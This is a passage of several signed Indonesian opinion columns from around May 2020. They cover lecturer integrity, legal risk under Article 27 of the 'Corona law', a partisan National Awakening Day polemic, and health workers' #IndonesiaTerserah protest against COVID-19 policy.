dijaharkan. Informasi itu saya peroleh dari Ketua Umum FPI, Ahmad Sobri Lubis, saat saya dan beberapa orang diajak makan malam di sebuah restoran nasi kebuli, tidak jauh dari Markas FPI."Kita atur seperti itu Bang, karena peserta dipekirakan banyak yang berasal dari pengikut Imam Syafe'i," kata Sobri Lubis. FPI adalah pengikut mazab Imam Syafe’i yang konsisten dengan doa qunut subuh, niat pake usholli pada setiap shalat, peringatan Maulud Nabi Besar Muhammad Saw, peringatan Isyra dan Mi’raj, membaca surat Yaasin malam Jum’at, tahliĺan dan lainnya. Kalau tidak percaya datang saja ke pengajian rutin FPI yang dilakukan secara rutin setiap Ahad pertama tiap bulan dan pengajian setiap malam Rabu atau Selasa malam.(Bersambung)** Penulis, Wartawan Senior.

Kompetensi dan Integritas, Tuntutan Untuk Dosen

By Dr. Elli Widia S.Pd. MM.Pd Badan dunia yang menangani pendidikan UNESCO menyerukan kepada bangsa-bangsa di dunia bahwa, jika ingin memperbaiki keadaan seluruh bangsa, maka haruslah dimulai dengan memajukan bidang pendidikan. Sebab pendidikan adalah kunci menuju perbaikan terhadap peradaban. Jakarta FNN - Kamis (21/05). Organisasi yang berada di bawah naungan Perserikatan Bangsa-Bangsa (PBB) yang menangani pendidikan UNESCO juga merumuskan, bahwa pendidikan adalah “learning how to think” (belajar bagaimana berpikir) dan “learning how to do” (belajar bagaimana melakukan). Pendidikan juga berarti “learning how to be” (belajar bagaimana menjadi), “learning how to learn” (belajar bagaimana belajar), dan “learning how to live together” (belajar bagaimana hidup bersama). Dengan demikian, pendidikan sangat penting bagi kemajuan umat manusia. Tidak sekedar merupakan “transfer of knowledge” (transfer ilmu pengetahuan). Tujuan pendidikan sesungguhnya adalah menciptakan pribadi yang memiliki sikap dan kepribadian yang positif. Sikap dan kepribadian yang positif itu, antara lain bangga memiliki kompetensi, dan bangga berdisiplin. Juga tahan mental menghadapi kesulitan hidup, jujur dan dapat dipercaya (memiliki karakter dan integritas yang baik). Suka bekerjasama dalam tim, dan memiliki pola pikir yang rasional (pola pikir unggul). Selain itu, terbiasa bekerja keras, bertanggungjawab, dan mengutamakan kepedulian terhadap sesama. Mengutamakan diskusi daripada berdebat, taat pada aturan, menghormati hak-hak orang lain. Memiliki moral dan etika yang baik, dan mencintai pekerjaan dengan sepenuh hati. Dengan demikian, setiap aktivitas belajar-mengajar sejatinya tidak hanya sekedar mentransfer ilmu pengetahuan kepada warga didik (warga belajar). Tetapi juga membimbing mereka melalui motivasi dan contoh keteladanan yang bermuara pada pembinaan sikap, maupun etika atau moral peserta didik. Tidak dapat dipungkiri bahwa proses pendidikan di Indonesia belum sepenuhnya berjalan sesuai harapan. Yang menjadi sasaran pendidikan belum dapat diwujudkan secara penuh dan komprehensif. Keadaan ekonomi yang belum sepenuhnya pulih. Jumlah penduduk yang besar. Kondisi geografis yang luas, serta belum maksimalnya peranserta seluruh komponen masyarakat di bidang pendidikan, menjadi kenyataan yang dapat memperlambat proses pembangunan pendidikan di Indonesia. Namun patut disyukuri bahwa berbagai upaya signifikan telah dilakukan Pemerintah, baik Pemerintah Pusat maupun Pemerintah Daerah untuk mempercepat pembangunan pendidikan nasional. Penetapan anggaran pendidikan sebesar 20 prosen dari APBN maupun APBD (Sesuai pasal 31 ayat 3 UUD 1945) menjadi indikator utama dimulainya percepatan peningkatan mutu pendidikan di Indonesia. Di sisi lain pembenahan kurikulum nasional dan penataan mutu tenaga pendidik yang simultan, diharapkan dapat membawa perubahan ke arah terciptanya manusia Indonesia yang berpendidikan. Juga bermoral, dan berdaya saing tinggi. Patut disyukuri pula, bahwa saat ini sudah banyak generasi muda di Indonesia yang berpendidikan tinggi. Mereka adalah bagian dari kalangan cerdik pandai (intelektual) yang nantinya diharapkan dapat turut menyelesaikan permasalahan bangsa. Kebangkitan Indonesia sejak masa perlawanan terhadap penjajahan Belanda juga dimotori kalangan terdidik. Meraka para mahasiswa kedokteran STOVIA (School tot Opleiding van Indische Artsen), sekolah kedokteran pertama di Indonesia yang kini menjadi Fakultas Kedokteran Universitas Indonesia (UI). Presiden pertama RI Soekarno dan Tokoh Pendidikan Ki Hajar Dewantara juga pernah mengingatkan, bahwa satu-satunya cara untuk dapat mengubah nasib suatu bangsa (terutama dalam hal ini bangsa Indonesia) hanyalah melalui pendidikan. Dalam upaya memajukan pendidikan itu, sikap terbaik adalah para mahasiswa dituntut untuk terus berusaha menjadi insan yang kreatif, inovatif, dan kompetitif. Meraka memiliki integritas dan moral yang baik, karena bagaimana pun mereka adalah agen perubahan menuju perbaikan dalam berbagai bidang kehidupan. Sementara itu hasrat untuk meraih pendidikan tertinggi (Ph.D) dan memiliki otoritas kepakaran (Profesorship) harus terus dipacu, yang melekat pada sistem penghargaan dan jenjang karier seorang akademisi. Dengan begitu, perguruan tinggi ke depan dapat melahirkan banyak Sumber Daya Manusia (SDM) unggul. Selanjutnya, integritas dan moral yang baik akan tercipta kalau para mahasiswa dan dosen idealnya dapat meneladani sifat-sifat kenabian. Misalnya, siddiq (jujur), amanah (terpercaya), tabligh (menyampaikan kebenaran), dan fathonah (cerdas). Dengan begitu segenap sivitas akademika akan dapat mengimplementasikan nilai-nilai Tri Dharma Perguruan Tinggi dengan baik. Tri Dharma yang mencakup pendidikan dan pengajaran, penelitian dan pengembangan, serta pengabdian kepada masyarakat. Saat ini ada fenomena menarik dan menggembirakan di berbagai daerah, yakni kecenderungan semakin tingginya semangat belajar generasi muda. Termasuk banyaknya karyawan yang bekerja sambil kuliah. Apapun motivasinya, ini bagus. Mereka menuntut ilmu di sela-sela tugas kantor yang menumpuk. Mereka dituntut mengatur waktu dengan sebaik-baiknya. Karena dunia mahasiswa tidak jauh dari tugas “menumpuk” yang diberikan dosen. Belum selesai tugas dosen yang satu, muncul lagi tugas dosen yang lain, dan semua tugas harus dikerjakan sesuai deadline. Selain soal manajemen waktu, tantangan lain bagi mereka yang bekerja sambil kuliah adalah masalah keuangan. Meraka harus berbagi dengan keluarga serta anak-anaknya yang umumnya juga sedang belajar. Sementara itu nasib dan hari depan suatu perguruan tinggi, baik Perguruan Tinggi Negeri (PTN) maupun Perguruan Tinggi Swasta (PTS), dan baik yang berada di kota maupun di daerah sepenuhnya berada di tangan sivitas akademikanya sendiri. Untuk itu, kemampuan para pengelola perguruan tinggi dalam memanfaatkan peluang dan mengatasi berbagai kondisi lingkungannya akan sangat menentukan kemajuan perguruan tinggi yang bersangkutan. Kalangan sivitas akademika juga harus mengubah paradigma tentang perguruan tinggi. Selama ini hanya dianggap sebagai tempat mencari ilmu di ruangan perkuliahan. Harus berubah menjadi tempat berkarya dan pengejawantahan ilmu untuk memberikan manfaat atau nilai bagi lingkungannya. Perguruan tinggi, baik negeri maupun swasta di manapun diharapkan dapat mendorong kemajuan masyarakat sebagai salah satu perwujudan dari Tri Dharma Perguruan Tinggi. Selanjutnya, dalam upaya memajukan PTN maupun PTS perlu adanya otonomi yang lebih luas. Sementara itu tugas Rektorat adalah memberikan arahan, penguatan sistem dan budaya kerja. Juga memfasilitas fakultas dan program studi untuk berkembang dengan “stakeholders” (pemangku kepentingan) yang lebih luas. Sebagai contoh, Fakulats Ekonomi akan semakin lincah bergerak bila dapat memberi manfaat bagi industri dan asosiasinya melalui riset dan pengembangan yang difasilitasi Rektorat sebagai payung dan pengembang jejaring (networking). Salah satu wujud otonomi yang luas itu adalah kebebasan perguruan tinggi menyusun kurikulumnya sendiri dengan mempertimbangkan pasar di wilayah dimana perguruan tinggi tersebut berada. Tetapi perlu dicatat bahwa menurut Pasal 97 Ayat 1 Peraturan Pemerintah No. 17 Tahun 2010 tentang Pengelolaan Pendidikan, kurikulum perguruan tinggi itu sendiri perlu dikembangkan dan dilaksanakan dengan berbasis kompetensi. Tidak dapat disangkal bahwa kunci kemajuan perguruan tinggi di mana pun akan lebih banyak ditentukan oleh manusianya sebagai sumberdaya utama, khususnya para dosen atau pengajarnya. Para dosen seyogyanya perlu terus belajar. Meskipun mereka telah mencapai gelar akademik tertinggi. Mereka harus merawat jejaring dengan lingkungan professional, yang dibekali akses informasi dan pengetahuan baru secara terus-menerus. Fasilitas belajar-mengajar yang dibutuhkan juga harus memadai. Termasuk ruangan untuk dosen, ruang laboratorium, dan sistem informasi (databasenya) dengan berbasis teknologi informasi. Lebih dari itu, jika direnungkan secara mendalam, jelas bahwa para dosen tidak cukup hanya perlu bekerja keras dan mempunyai kompetensi di bidangnya, tetapi yang lebih penting adalah harus memiliki integritas dan moral (akhlak) yang baik, sebab mereka adalah teladan bagi para mahasiswanya. Maka tepat apa yang pernah dikemukakan pemikir Islam terkemuka Imam Ghazali bahwa “Tidak akan sampai ke puncak kejayaan kecuali dengan kerja keras, dan tak akan sampai ke puncak keagungan kecuali dengan sopan santun (akhlak yang baik)”. Penulis adalah Guru SD Islam Nabilah dan Dosen Pascasarjana Universitas Batam.

Pasal 27 UU Corona Tak Menjamin Lepas Dari Pidana

By Dr. Margarito Kamis Jika kita berbicara tentang penguasa yang taat hukum atau rakyat yang dibatasi oleh hukum, kita seharusnya lebih memperhatikan kemampuan rakyat daripada penguasa. Jika kita mendiskusikan, mana yang boleh bebas dari ikatan-ikatan ini, kita akan melihat kesalahan rakyat lebih kecil dibandingkan dengan penguasa. Rakyat yang tidak bermoral dan tak beraturan dapat dengan mudah dibimbing kembali menuju jalan yang benar. (Niccolo Machiavelli, Filosof Italia) Jakarta FNN – Kamis (21/05). Ikhtiar, merupakan sikap terbaik. Sikap ini harus diletakan di atas timbangan setiap kali sebuah tindakan hendak dilakukan. Memperhitungkan risiko, jauh lebih baik dibandingkan mengabaikan risiko itu. Bukan mendapat untung besar, melainkan agar dikenal orang sebagai pelaksana keputusan yang hebat. Memancang ikhtiar itu sedari awal sebelum mengimplementasikan kebijakan pemberian bantuan likuiditas dalam rangka pemulihan ekonomi nasional, jelas bagus. Itu karena dua hal. Pertama, kasus Bantuan Likuidotas Bank Indonesia (BLBI) dan Century belum benar-benar beres. Selalu ada kemungkinan dibuka, dilanjutkan penyidikannya oleh KPK. Kedua, uang yang digunakan dalam rangka implementasi kebijakan adalah uang negara. Jumlahnya tidak main-main. Kabarnya total uang untuk kepentingan ini lebih dari Rp. 600 trilyun. Jumlah ini lebih besar dari BLBI, dan ratusan kali lipat lebih besar dari Century. Pengetahuan KPK Dokumen-dokumen hukum otentik, khususnya putusan pengadilan, menyediakan fakta eksplosif. Fakta ini, setiap saat bisa meledak. Bila sekarang terlihat dingin sedingin es, itu lebih disebabkan angin politik sedang bertiup ke arah lain. Bila angin politik mengubah arah tiupannya, bisa barabe boss. Apakah perubahan arah angin politik bergantung pada peta dan formasi pemegang kekuasaan? Tidak selalu begitu. Tetapi saya tidak ingin menganalisis hal itu lebih jauh. Yang mau saya analisis lebih jauh sejauh ruang yang tersedia adalah, kemungkinan KPK dilibatkan dalam merancang skema teknis pelaksanaan bantuan likuiditas. Soalnya adalah mengapa kemungkinan KPK dilibatkan dalam perumusan skema teknis pelaksnaan kebijakan pemberian, khususnya bantuan likuditas, dipertimbangkan? Pertama, KPK pernah menyidik pelaksanaan BLBI. KPK juga telah menyidik kasus Century. Bukan saja disebabkan kasus ini – BLBI dan Century - belum tuntas, tetapi lebih dari itu. Penyidikan dua kasus itu cukup beralasan diambil dan dijadikan tesis KPK memiliki pengetahuan teknis tentang hal-ihwal teknis, yang bisa diandalkan untuk menghindarkan kesalahan pelaksanaan bantuan teknis likuiditas itu. Berbekal penyidikan yang dilakukan untuk BLBI dan Century, KPK dipastikan tahu kelemahan fundamental cara berpikir pejabat mengambil keputusan. KPK juga pasti tahu kelemahan kreasi pejabat dalam menutup kelemahan ketentuan yang dijadikan dasar pelaksanaan bantuan likuditas itu. Itu poin besar. Kedua, suka atau tidak, pasal-pasal dalam Peraturan Pemerintah Nomor 23 Tahun 2020, saya sebut PP Pelaksanaan Program Pemulihan Ekonomi, jauh dari memadai. Terdapat begitu banyak soal teknis yang tak terjawab dalam PP ini. Apa saja kelemahan itu? Dalam artikel yang lalu telah saya tunjukan secara sumir kelemahan PP ini. Apa parameter teknis ekonomi dan keuangan serta hukum tentang Bank-Bank Umum yang dikategorikan sebagai Bank Peserta dan Bank Pelaksana? Serba dak jelas dan kabur. Apakah “hanya” Bank Pelaksana yang dapat melakukan restrukturisasi kredit dan melakukan penambahan kredit? Apakah sebelum bank-bank atau korporasi-korporasi yang mau direkstukturisasi kredit atau ditambah modal usahanya tidak punya kredit pada Bank Peserta? Bila ada, apakah Bank Peserta juga bisa melakukan restrukturisasi kredit atau ekspansi kredit? Apa dasatrnya bila Bank Peserta melalukan restrukturisasi dan penambahan kresdit? Apa jaminannya? Siapa yang meneliti jaminannya? Kegelapan ini memang bisa ditembuas, bisa dikelola, tetapi seperti biasa dalam setiap kegelapan, selalu ada yang tak terdeteksi oleh mata elang. Mata KPK mungkin sehebat mata elang. Tetapi dalam kasus ini, mata KPK tak bakal mampu menembusnya. Mengapa? Tumpukan soal teknis yang harus dibereskan satu demi satu, dalam setiap kasus berbeda, adalah tantangan terbesarnya. Tak perlu mendahului, apalagi dengan nada skeptic. Tetapi begitu banyaknya persoalan teknis yang harus diurus satu demi satu itu, justru membatasi KPK sendiri. KPK tak mungkin menyediakan aparaturnya untuk dari hari ke hari bekerja bersama aparat eksekutif pelaksana kebijakan ini. Yang paling mungkin adalah KPK menyediakan panduan teknis, sebisa mungkin. Panduan-panduan itu, pasti merupakan implementasi fungsi pengawasan mereka. Tetapi apakah panduan-panduan itu sungguh menjawab kebutuhan tindakan yang diperlukan oleh pejabat pelaksana? Apakah panduan-panduan yang diberikan oleh KPK, sungguh-sungguh menjawab, sebut saja kebutuhan kriteria teknis. Misalnya “komponen apa dari kredit” yang hendak direkstrukturisasi? Apakah komponen waktu saja? Katakanlah bila komponen waktu dipertimbangkan, soalnya adalah bagaimana kriterianya? Soal lain, misalnya komponen bunga. Apakah yang dipertimbangkan atau ditentukan kriterianya adalah bunga kredit yang mau dikurangi, atau diperpanjang waktu pembayarannya? Apapun itu, soalnya adalah bagaimana kriteria-kriteria itu ditetapkan. Siapa yang membuat kriteria itu? OJK atau Bank pelaksana? Apakah kriteria-kriteria yang dibuat itu disupervisi, dianalisis dan sebisa mungkin diperbaiki oleh KPK sebelum digunakan oleh OJK atau Bank Pelaksana? Di luar itu, bagaimana penentuan besaran bantuan likuiditas kepada korporasi? Adakah kriterianya? OJK saja yang menentukannya? Apa kriterianya satu korporasi direstrukturisasi, dengan cara memberi perpanjangan waktu pelunasan kredit, atau pengurangan bunga? Mengapa korporasi tertentu diberi tambahan modal? Bagaimana menentukan besaran tambahan modalnya? OJK yang memutuskan dan membuat kriterianya? Ikutkah KPK dalam urusan seteknis ini? Cukupkah, sekali lagi, KPK hanya membuat panduan? Sedalam dan seadaptif apakah panduan yang disodorkan KPK? Apakah melibatkan KPK, dengan sendirinya menjadi alasan penghapus sifat melawan hukum, andai ada, dalam pelaksanaan kebijakan ini? Penyidikan Kemudian Hari Semuanya rumit. Betul-betul rumit. OJK dan Bank Pelaksana harus sangat hati-hati. Bagaimana dengan BI? Terlihat tak ikut menentukan dalam arti memutuskan korporasi mana yang harus direstukturisasi, berapa, bagaimana, kapan dan berapa lama? PP Nomor 23 Tahun 2020 ini memberikan kewenangan itu kepada OJK. Masalahnya apa BI bisa lepas tangan? BI memang tidak menempatkan dana bantuan likuiditas pada Bank Peserta. Betul itu. Tetapi bagaimana dengan kewenangan BI terhadap korporasi tertentu. Apakah hilang begitu saja? Padahal telah diatur dalam Perpu Nomor 1 Tahun 2020, yang saat ini telah ditingkatkan statusnya menjadi UU Nomor 2 Tahun 2020, yang saya sebut “UU Corona”. Disini soalnya. Mengapa jadi soal? Ketentuan dalam Perpu itu dapat dijadikan dasar oleh OJK untuk meminta pertimbangan BI ketika OJK hendak memutuskan satu atau dua korporasi diberi privilege sesuai Perpu. Pada titik ini BI, mau tidak mau harus memberikan pertimbangan. Ketika BI beri pertimbangan, itu menjadi poin tercipta jalinan hukum antara BI dengan OJK. Jalinan ini bernilai hokum, sebagai peleburan tanggung jawab bersama- antara BI dan OJK. Itu satu soal. Soal lainnya, kapan BI menempatkan dana bantuan likuiditas ke Bank Peserta? Siapa yang memutuskan? BI sendiri yang memutuskan? Kapan dana bantuan likuiditas ditempakan di Bank Peserta? Berapa besaran dana yang ditempatkan pada setiap Bank Peserta? Bagaimana angka-anga itu didapat? Berdasarkan penilaian sendiri dari BI atau rekomendasi dari OJK atau rekomendasi pemerintah? BI, tidak usah terkepung, apalagi terintimdasi dengan kasus BLBI, yang belum tuntas-tuntas hingga sekarang. Tidak perlu. Tetapi BI harus benar-benar hati-hati. Aturan mengenai soal ini harus betul-betul jelas. Tidak boleh teredia cela sekecil apapun. Kehat-hatian yang telah diambil sejauh ini, bagus. Sebisa mungkin tidak memuat kebijakan untuk menutupi kelemahan atau ketidakjelasan Perpu dan PP. Akankah BI memanggil KPK membantu mereka merumuskan aturan teknis? Bila ini ditempuh BI, tentu bagus. Bila dapat ditempuh, maka pastikan panduan yang dibicarakan bersama KPK, dan akan diformalkan menjadi aturan teknis itu, harus rigid. Semua argumen dalam perdebatan perumusan aturan itu harus direcord, dan dibuat berita acaranya. Siapa bicara apa, mengenai apa, dan argumen siapa yang dilembagakan dalam peraturan teknis, sebisa mungkin harus direcord. Mengapa harus direcord? Sekali lagi, tak usah terintimidasi oleh kasus BLBI dan Century. Tak usah. Bagaimanapun urusan ini terlalu dekat dengan penyidikan, penuntutun dan pemeriksaan pengadilan di kemudian hari. Hari-hari ini memperlihatkan dengan sangat terang adanya usaha yang dilakukan oleh MAKI dan beberapa organisasi masyarakat menantang pasal ini di MK. MK, hampir dapat dipastikan akan sejalan dengan pemohon. Mengapa? Tidak tersedia alasan hukum dan politik ekonomi yang cukup untuk mempertahankan pasal ini. Semua pejabat harus memastikan isi kepalanya dengan pikiran bahwa keterlibatan KPK, sekali lagi, tidak bakal menjadi dewa penolong hukum. Tidak ada hukum yang menyatakan nasihat KPK, menjadi hal yang membenarkan atau alasan pembenar atas, jika ada, penyimpangan hukum. Dzikir Diusia Senja Sayangilah hari esok. Pintar-pintarlah berenang di lautan yang penuh ikan buas, dan gelombang mematikan ini. Pandulah semua pikiran dan tindakan dengan perbanyak mengingat sesudah pension nanti. Buatlah hari-hari ketika semua kewenangan yang mewah lepas, berpisah untuk selamanya, indah seindah keluarga bercengkerama. Cintailah dengan cinta yang sebenar-benarnya untuk esok yang indah itu. Buatlah hari esok sesudah pensiun menjadi hari yang menyenangkan keluarga. Bergurau dengan istri yang mulai menua, dengan anak-anak yang luas pergaulannya, dan cucu-cucu yang lucu-lucu. Itu mesti diimpikan sedari sekarang. Jadikanlah hari esok hari yang hebat dengan tasbih. Jadikanlah hari itu hebat karena buah tasbih bergerak-gerak selaras nafas mengalun perlahan, manis dengan hati yang memelas kepada Dia Yang Haq. Lalu dalam nafas itu berbisik dzikir, ya khaiyu ya khaiyun hingga lelap mendekap. Pastikan itu. Jadi? Harus hati-hati betul. Jangan grusa-grusu. Sedikit saja terjadi kekeliruan, itu akan fatal. Pasal 27 Perpu tidak dapat menolong. Andai, sekali lagi andai, terjadi penyimpangan, maka kenyataan menyimpang itu justru menjadi alasan pembenar penegak hukum mengesampingkan pasal 27 itu. Kala kenyataan penyidikan oleh penegak hukum tiba, kala itu semua menjadi sulit. Pertolongan politik menjadi perkara mahal. Tak pasti dan memusingkan. Apa kenyataan menjelang pilpres kemarin tak cukuop jadi pelajaran. Orang-orang yang punya kekuasaan besar di dunia politik jatuh satu demi satu? Takutlah dan hati-hatilah. Jadikanlah itu panduan utama dalam balapan mengerikan ini. Hati-hati harus menjadi induk dalam memilih ketentuan hukum, ketika tindakan hendak diambil. Ingat, dan tulislah dengan huruf capital, tanggung jawab hukum adalah tanggung jawab individu, bukan institusi. Insya Allah. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Momentum Kebangkitan Nasional, Pastikan Posisi Anda Dimana?

By M. Rizal Fadillah Jakarta FNN – Rabu (20/05). Hari ini 20 Mei adalah saat mengingat berdirinya Boedi Oetomo, yang didirikan Dr. Soetomo, Dr. Wahidin Soedirphusodo dan mahasiwa STOVIA. Awal bergeraknya hanya di bidang pendidikan, sosial, dan kebudayaan. Setelah hadir Dr. Douwes Dekker, Boedi Oetomo diberi stempel politik dan perjuangan "tanah air". Makanya 20 Mei adalah hari Kebangkitan Nasional. Jika saat ini masyarakat dan rakyat Indonesia memperingati hari Kebangkitan Nasional untuk melawan penjajahan, maka tentu saja sangat relevan. Akan sangat aneh jika Pemerintah yang memperingati Kebangkitan Nasional. Menjadi tidak relevan. Sebab masalah yang dihadapi oleh masyarakat dan rakyat Indonesia hari ini adalah berhadap-hadapan dengan Pemerintah, yang kebijakan nasionalnya justru tidak berpihak pada kaum "priboemi". Investasi asing yang lebih digalakkan. Cina dari khususnya. Buat apa ada BPIP dengan Dewan Pengarah terdiri dari para tokoh bergaji besar.Tak seimbang dengan kerja mereka. Apalagi kerjanya bikin konser amal. BPIP ko berubah menjadi organisiasi yang cuma mengorganisir kenser amal untuk mengumpulkan dana? Kecil dan rendah sekali lembaga sekelas BPIP, yang nama lengkapnya “Badan Pembinaan Ideologi Pancasila” itu BPIP harus mulai mengadakan penataran-penataran untuk membangun kembali jiwa dan rasa nasionalisme. Juga membangun keyakinan ideologi Pancasila. Seperta yang dilakukan oleh Badan Pembinaan Pendidikan Pedoman Penghayatan dan Pengamalan BP7 di zaman Orde Baru dulu. BPIP bukan kerjanya mempopulerkan salam Pancasila, atau bikin konser amal segala. Yang harus ditatar pertama tentang Pancasila adalah Presiden dengan para Menteri. Jajaran ini yang sekarang mengalami krisis nasionalisme dan ideologi Pancasila. Jangan melebar kemana-mana dulu. Fokus saja tentang Pancasila di Istana dan lingkaran satunya dulu. Setelah itu, BPIP harus meluruskan anggota DPR. Mulai banyak yang di senayan yang menyimpang dari pemahaman soal Pancasila. Malah menjadi terbuka dan permisif pada ideologi komunis dan PKI. DPR yang punya simpati kepada ideology komunis dan PKI tidak sembunyi-sembunyi. Sudah sangat vulgar dan terbuka. Pancasila sekarang mulai terancam oleh cara berfikir yang mundur ke masanya Soekarno. Seperti kata Soekarno, “subur subur suburlah PKI”. Gotong Royong bukan semata-mata kerja sama, tetapi ideologi yang melawan Pancasila. Biasanya disebut “Ekasila”. Luar biasa fenomena politik kini bangsa hari ini. Delapan Fraksi DPR RI tidak anti PKI dan komunisme. Kebangkitan Nasional harus dibangun kembali. Tanggal 20 Mei tahun ini harus dijadikan momentum membangkitkan kembali nasionalisme berdasarkan Pancasila 18 Agustus 1945. Bukan “Trisila dan Ekasila”. Sebab saudaranya “Trisila dan Ekasila” adalah Nasakom. Ada komunis di dalamnya. Kaum terdidik harus menjadi penyambung lidah rakyat. Jangan biarkan penjajahan datang kembali menjajah negeri ini. Belanda memang sudah tidak ada. Tetapi "Belanda berkulit sawo matang dari ras Melayu" mewarisi cara memerintah yang berwatak kolonial. Ciri penjajah berkulit sawo matang dari ras melayu itu, bangga klau bisa memeras dan menyulitkan rakyat. Senang melihat rakyat menderita. Tidak senang melihat rakyat bahagia. Karena dalam perjuangan, selalu ada saja yang jadi pahlawan dan ada penghianat. Dimanakah posisi anda? Pastikan posisi anda. Itu penting. Penulis adalah Pemerhati Politik dan Kebangsaan

#IndonesiaTerserah, “Surakarta Sak Karep-Karepmu!”

Oleh Mochamad Toha Jakarta, FNN - Foto Evi Rismawati, seorang tenaga kefarmasian di salah satu Puskesmas di Kota Surakarta, Jawa Tengah, membagikan fotonya yang memegang tulisan #Indonesia Terserah dalam akun media sosialnya yang sedang viral. Evi sangat menyayangkan kebijakan pemerintah. “Kecewa sama kebijakan pemerintah yang cenderung tumpang tindih. Yang 'A' bilang begini, yang 'B' bilang begini, jadi mereka nggak sinkron satu sama lain,” ujar Evi. “Itu kan menyulitkan kami yang [bekerja] di [pelayanan] kesehatan. Kalau misalnya ada apa-apa, pasien tambah, otomatis kami yang repot,” lanjutnya seperti dilansir BBCIndonesia.com. Sejumlah tenaga medis mengatakan kebijakan pemerintah 'tumpang tindih'. Salah satu kebijakan yang disorot Evi adalah terkait kebijakan larang mudik yang kontradiktif dengan pengecualian pergerakan masyarakat ke daerah lain. “Ada larangan mudik, terus tiba-tiba bandara dibuka. Itu otomatis bertolak belakang,” ungkapnya. “Ngapain bikin peraturan begitu, kalau akhirnya nggak bisa dijalankan dengan maksimal?” tegas Evi. Ia juga menyayangkan masih terlihatnya kerumuman di daerahnya. “Kalau ada insentif bagi tenaga kesehatan yang dibicarakan di TV, kami sama sekali belum menerima dan nggak menuntut itu. Yang penting kami [memberi] pelayanan seperti biasa,” kata Evi. “Tapi kami minta tolong masyarakat harus benar-benar sadar diri bagaimana harus menyikapi hal ini. Kalau nggak terpaksa keluar rumah, jangan keluar rumah,” pinta Evi. Rasa kecewa juga disampaikan Jumardi, perawat di sebuah fasilitas kesehatan di Samarinda, Kalimantan Timur, ikut mengunggah foto dirinya dengan APD dengan #Indonesiaterserah di media sosialnya. Jumardi kecewa ketika membaca berita bahwa pemerintah mengizinkan sekelompok orang kembali bekerja seperti biasa. “Pemerintah ingin menghambat atau memutus pandemi Covid-19, tapi justru malah membuat kebijakan yang membebaskan orang umur 45 tahun ke bawah beraktivitas seperti biasanya,” ujarnya. Ia khawatir hal itu akan meningkatkan jumlah kasus positif Covid-19. “Khawatirnya ketika penderita makin banyak, [kami] takut fasilitas kesehatan tidak cukup untuk menampung pasien Covid-19 dan tenaga kesehatan kewalahan dalam penanganannya,” lanjutnya. “Kami pakai APD tapi tetap was-was,” ungkap Jumardi. Itulah realita yang terjadi hari-hari ini yang menghinggapi para tenaga medis di lapangan. Mereka ini adalah “pasukan” yang ada di garda depan dalam “melawan” virus corona atau Covid-19.Mereka kecewa! Sejumlah tenaga medis di Indonesia menumpahkan kekesalan terhadap apa yang mereka sebut sebagai kebijakan pemerintah yang “berpotensi memperluas penyebaran Covid-19” dengan menggunakan #Indonesiaterserah di media sosial. Beberapa kebijakan yang disoroti tenaga medis diantaranya adalah pengecualian pergerakan masyarakat keluar kota hingga diperbolehkannya warga berusia di bawah 45 tahun di 11 sektor yang dibolehkan kembali bekerja di kantor. Di sisi lain, Tenaga Ahli Utama Kantor Staf Presiden (KSP), Dokter Brian Sriprahastuti, menanggapi hal itu dengan menegaskan bahwa pemerintah tetap konsisten menerapkan Pembatasan Sosial Berskala Besar (PSBB). “[Sesuai] prinsip PSBB, individu masih boleh beraktivitas tapi dibatasi, termasuk work from home (bekerja dari rumah) dengan pengecualian,” ujarnya dalam pesan tertulis pada BBC News Indonesia, Jumat (15/05/2020). Menurut Kepala Gugus Tugas Percepatan Penanganan Covid-19, Letjen TNI Doni Monardo, pemerintah berharap tenaga kesehatan tidak menjadi kecewa. Doni mengatakan sejak awal pemerintah selalu meminta masyarakat untuk melakukan upaya-upaya untuk mengurangi penularan Covid-19 karena jika jumlah kasus meningkat, dokter dan perawat akan kerepotan. "Jangan kita biarkan dokter-dokter kita kelelahan. Jangan biarkan dokter kita kehabisan waktu dan tenaga. Mereka telah menghabiskan waktu, tenaga, bahkan mempertaruhkan nyawanya untuk keselamatan bangsa Indonesia. Oleh karenanya wajib kita lindungi,” tegas Doni. Menurut Kepala BNPB itu, Indonesia memiliki jumlah dokter yang sedikit jika dibandingkan dengan negara-negara lain, yakni kurang dari 200.000 orang. Sementara, jumlah dokter paru-paru, hanya 1.976. “Kalau kita kehilangan dokter, ini adalah kerugian yang besar bagi bangsa kita,” tegas Doni (18/05/2020). Pakar kesehatan masyarakat Universitas Jenderal Soedirman, Purwokerto, Jawa Tengah, Joko Mulyanto, turut membagikan satu foto tenaga kesehatan yang memegang kertas bertuliskan “Indonesia terserah, suka-suka kalian” di akun Twitter-nya, Kamis (14/05/2020). Joko mengatakan foto itu bukan miliknya, tapi beredar di salah satu grup WhatsApp tempat ia bergabung. Cuitan itu dibagikan lebih dari 11.000 orang dan disukai lebih dari 24.000 orang hingga Jumat (15/05/2020) sore. Ia terkejut foto itu dibagikan begitu banyak orang di media sosial. “Dalam pandangan saya, [foto] itu di-retweet dan di-like begitu banyaknya orang, berarti kegelisahan itu memang mungkin menjadi concern (perhatian) banyak orang di media sosial,” kata Joko. Pakar kesehatan masyarakat Universitas Jenderal Soedirman, Joko Mulyanto, mengatakan ungkapan para petugas medis di sosial media itu mencerminkan kekesalan karena sejumlah kebijakan pemerintah belakangan ini. Joko, yang juga suami seorang tenaga kesehatan yang bertugas menangani pasien Covid-19, mencontohkan kebijakan pembagian bantuan sosial (bansos) di sejumlah tempat yang pada akhirnya menarik kerumunan. Meski tujuannya baik, ia mengatakan pembuat kebijakan tidak memiliki pemahaman baik mengenai cara mencegah penularan Covid-19. “Hal-hal ini membuat [tenaga medis] jadi kesal,” ungkap Joko. Meskipun begitu, Joko mengatakan yakin petugas kesehatan tak akan mundur dari tugasnya. “Kalau teman-teman pasrah dan tidak melakukan apa-apa atau malah berbalik menjadi pasif, keadaannya malah akan lebih buruk,” ujarnya. Sebagai seorang pakar kesehatan masyarakat, Joko akan tetap memberi rekomendasi kepada pemerintah. “Ini ungkapan kekesalan, tapi kami nggak terus kemudian berhenti, nggak ingin melakukan apa-apa. Kami akan tetap kritis, tetap memberi rekomendasi,” tegasnya. Ungkapan kecewa atas kebijakan pemerintah dari para tenaga medis tersebut seharusnya jadi perhatian pemerintah. Karena, bagaimana pun mereka ada di garda terdepan dalam “perang” melawan Covid-19 yang sudah menjadi pandemi di Indonesia ini. Jangan biarkan para dokter dan tenaga medis lainnya berjuang sendirian. Pemerintah dan masyarakat harus mengikuti protokol kesehatan dalam menghadapi Covid-19. Presiden Joko Widodo dan para menteri harus 